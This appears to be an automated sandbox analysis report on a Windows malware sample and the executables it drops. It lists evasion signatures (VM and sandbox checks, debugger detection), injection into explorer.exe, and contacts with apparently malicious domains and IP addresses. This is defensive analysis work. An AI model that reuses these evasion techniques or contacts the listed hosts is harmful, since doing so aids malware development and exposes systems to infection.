Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking mutex)

Show sources

Source: C:\Users\user\AppData\Local\Temp\D675.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: JV4ILFxpDY.exe, 00000002.00000002.330782822.00000000004DB000.00000004.00000020.sdmp, jhewjjt, 0000000F.00000002.386809332.000000000061B000.00000004.00000020.sdmp

Binary or memory string: ASWHOOK

Found evasive API chain (may stop execution after checking locale)

Show sources

Source: C:\Users\user\AppData\Local\Temp\D675.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jhewjjt	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jhewjjt	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jhewjjt	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jhewjjt	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jhewjjt	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jhewjjt	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Show sources

Source: C:\Users\user\AppData\Local\Temp\D675.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00406AA0		25_2_00406AA0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00586CF0		25_2_00586CF0

Found evasive API chain (may stop execution after checking computer name)

Show sources

Source: C:\Users\user\AppData\Local\Temp\D675.exe

Evasive API call chain: GetComputerName,DecisionNodes,Sleep

Source: C:\Windows\System32\svchost.exe TID: 4104	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe TID: 1196	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\85ED.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\AppData\Local\Temp\8DFC.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe

Window / User API: threadDelayed 572

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7C86.exe	API coverage: 0.3 %
Source: C:\Users\user\AppData\Local\Temp\D675.exe	API coverage: 6.3 %

Source: C:\Users\user\AppData\Local\Temp\D675.exe

Code function: 25_2_00586CF0

25_2_00586CF0

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\36D4.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F10C.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\E812.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\259C.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1530.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\exmrkmjs.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\rdxbevsp\exmrkmjs.exe (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\754.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D489.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\D675.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Evaded block: after key decision

Source: C:\Users\user\AppData\Local\Temp\8DFC.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	API call chain: ExitProcess graph end node	graph_0-21003
Source: C:\Users\user\AppData\Local\Temp\8939.exe	API call chain: ExitProcess graph end node	graph_21-21245
Source: C:\Users\user\AppData\Local\Temp\D675.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\D675.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\D675.exe	API call chain: ExitProcess graph end node

Source: explorer.exe, 0000000A.00000000.325769416.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000A.00000000.294282172.0000000008778000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 0000000A.00000000.320443979.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000A.00000000.325769416.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: explorer.exe, 0000000A.00000000.320443979.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: svchost.exe, 00000003.00000002.598731132.000002BBA9A02000.00000004.00000001.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: svchost.exe, 00000012.00000002.395665209.0000020403270000.00000004.00000001.sdmp, svchost.exe, 00000012.00000002.396043535.00000204032ED000.00000004.00000001.sdmp, WerFault.exe, 00000017.00000002.418829739.00000000052D6000.00000004.00000001.sdmp, WerFault.exe, 00000017.00000003.415960160.0000000005311000.00000004.00000001.sdmp, WerFault.exe, 00000017.00000002.418803258.00000000052C6000.00000004.00000001.sdmp, WerFault.exe, 00000017.00000003.415486326.00000000052D6000.00000004.00000001.sdmp, WerFault.exe, 00000017.00000002.418938553.0000000005311000.00000004.00000001.sdmp, WerFault.exe, 00000017.00000003.415619766.0000000005311000.00000004.00000001.sdmp, WerFault.exe, 00000017.00000003.415466213.00000000052C4000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: WerFault.exe, 00000017.00000003.413804305.0000000005311000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllh'1
Source: explorer.exe, 0000000A.00000000.325769416.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: svchost.exe, 00000003.00000002.599195612.000002BBA9A29000.00000004.00000001.sdmp, svchost.exe, 00000004.00000002.599608541.00000209C1E67000.00000004.00000001.sdmp, svchost.exe, 00000005.00000002.599508880.0000026FF1629000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\85ED.exe

Code function: 26_2_00401D96 CreateThread,GetVersionExA,GetSystemInfo,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GetTickCount,

26_2_00401D96

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 0_2_00419AE1 BuildCommDCBAndTimeoutsW,CreateMailslotA,GetNamedPipeHandleStateA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,SetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameA,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeW,FindFirstFileExW,	0_2_00419AE1
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_004198D9 BuildCommDCBAndTimeoutsW,CreateMailslotA,GetNamedPipeHandleStateA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,SetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameA,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeW,FindFirstFileExW,	21_2_004198D9
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	25_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	25_2_00401280
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	25_2_00401090
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	25_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_00409970
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00588A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_00588A30
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_005814D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	25_2_005814D0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_005812E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	25_2_005812E0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00586090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_00586090
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00589930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	25_2_00589930
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00589BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_00589BC0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00589D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	25_2_00589D90

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jhewjjt	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8939.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe

0_2_0042D820

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 0_2_00640042 push dword ptr fs:[00000030h]	0_2_00640042
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 14_2_00570042 push dword ptr fs:[00000030h]	14_2_00570042
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_00570042 push dword ptr fs:[00000030h]	21_2_00570042
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_00785AC2 push dword ptr fs:[00000030h]	21_2_00785AC2
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00401000 mov eax, dword ptr fs:[00000030h]	25_2_00401000
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_0040C180 mov eax, dword ptr fs:[00000030h]	25_2_0040C180
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_0058092B mov eax, dword ptr fs:[00000030h]	25_2_0058092B
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00581250 mov eax, dword ptr fs:[00000030h]	25_2_00581250
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_0058C3D0 mov eax, dword ptr fs:[00000030h]	25_2_0058C3D0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00580D90 mov eax, dword ptr fs:[00000030h]	25_2_00580D90
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: 26_2_008236CE push dword ptr fs:[00000030h]	26_2_008236CE

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jhewjjt	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe

Code function: 0_2_0043B870 IsDebuggerPresent,DebuggerProbe,

0_2_0043B870

Source: C:\Users\user\AppData\Local\Temp\D675.exe

Code function: 25_2_004048D0 VirtualProtect ?,00000004,00000100,00000000

25_2_004048D0

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe

Code function: 0_2_0042CC22 InterlockedIncrement,__itow_s,__invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,_wcscpy_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,__snwprintf_s,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,GetFileType,_wcslen,WriteConsoleW,GetLastError,__invoke_watson_if_oneof,_wcslen,WriteFile,WriteFile,OutputDebugStringW,__itow_s,__invoke_watson_if_error,___crtMessageWindowW,

0_2_0042CC22

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe

0_2_00419D2A

Source: C:\Users\user\AppData\Roaming\jhewjjt

Code function: 15_1_004027ED LdrLoadDll,

15_1_004027ED

Source: C:\Users\user\AppData\Local\Temp\D675.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 0_2_0043AC30 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0043AC30
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 0_2_0042BD60 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0042BD60
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 0_2_00422D10 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00422D10
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 0_2_004285C0 SetUnhandledExceptionFilter,	0_2_004285C0
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Code function: 17_2_0040976C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_0040976C
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_0043AA30 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_0043AA30
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_0042BB60 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_0042BB60
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_00422B10 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_00422B10
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_004283C0 SetUnhandledExceptionFilter,	21_2_004283C0
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: 26_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	26_2_00409A6B

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: privacy-tools-for-you-780.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Domain query: a0621298.xsph.ru
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: D489.exe.10.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jhewjjt	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jhewjjt	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Memory written: C:\Users\user\Desktop\JV4ILFxpDY.exe base: 400000 value starts with: 4D5A	Jump to behavior
